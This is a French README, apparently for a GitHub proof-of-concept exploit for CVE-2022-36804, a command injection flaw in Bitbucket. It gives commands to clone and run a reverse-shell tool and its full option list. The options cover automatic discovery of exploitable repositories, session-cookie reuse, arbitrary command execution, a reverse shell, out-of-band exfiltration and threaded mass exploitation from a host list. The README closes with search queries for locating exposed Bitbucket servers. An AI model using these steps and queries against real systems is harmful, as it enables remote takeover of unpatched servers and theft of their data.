
Exploit PoC pour CVE-2022-36804 (Injection de commande critique dans BitBucket)
https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit
Un exploit PoC relativement fiable pour CVE-2022-36804 (Injection de commandes critique BitBucket). Cette attaque nécessite généralement que les dépôts publics soient activés, cependant les cookies de session sont également compatibles avec cet exploit. Remarque : cet exploit inclut la détection automatique de dépôts, pratique si vous ne voulez pas trouver manuellement des dépôts ouverts vous-même.
git clone https://github.com/Chocapikk/CVE-2022-36804-ReverseShell.git;
cd CVE-2022-36804-ReverseShell
python3 -m pip install -r requirements.txt
python3 main.py --server [target]
usage: main.py [-h] [--server SERVER] [--project PROJECT] [--repo REPO] [--skip-auto]
[--session SESSION] [--command CMD] [--file FILE] [--output OUTPUT]
[--lhost LHOST] [--lport LPORT] [--threads THREADS]
Exploitez les instances BitBucket (< v8.3.1) en utilisant CVE-2022-36804. L'exploitation se fait automatiquement
sans paramètres supplémentaires, mais permet également des réglages personnalisés.
options:
-h, --help affiche ce message d'aide et quitte
--server SERVER Hôte à attaquer
--project PROJECT Le nom du projet dans lequel se trouve le dépôt
--repo REPO Le nom du dépôt
--skip-auto Ignorer la recherche automatique de dépôts exploitables
--session SESSION Valeur du cookie 'BITBUCKETSESSIONID', utile si le dépôt cible est
privé
--command CMD Commande à exécuter si l'exploit réussit (Remarque : l'obtention de la sortie n'est
pas fiable, donc une exfiltration OOB est nécessaire)
--file FILE Fichier pour scanner les hôtes en masse
--output OUTPUT Fichier de sortie pour la session
--lhost LHOST Votre Hôte Local pour le reverse shell
--lport LPORT Votre Port Local pour le reverse shell
--threads THREADS Threads pour l'exploitation de masse
app:"Bitbucket" +banner:"repos?visibility=public"
app:"Bitbucket" +title:"public"
app:"Bitbucket"
iconhash:667017222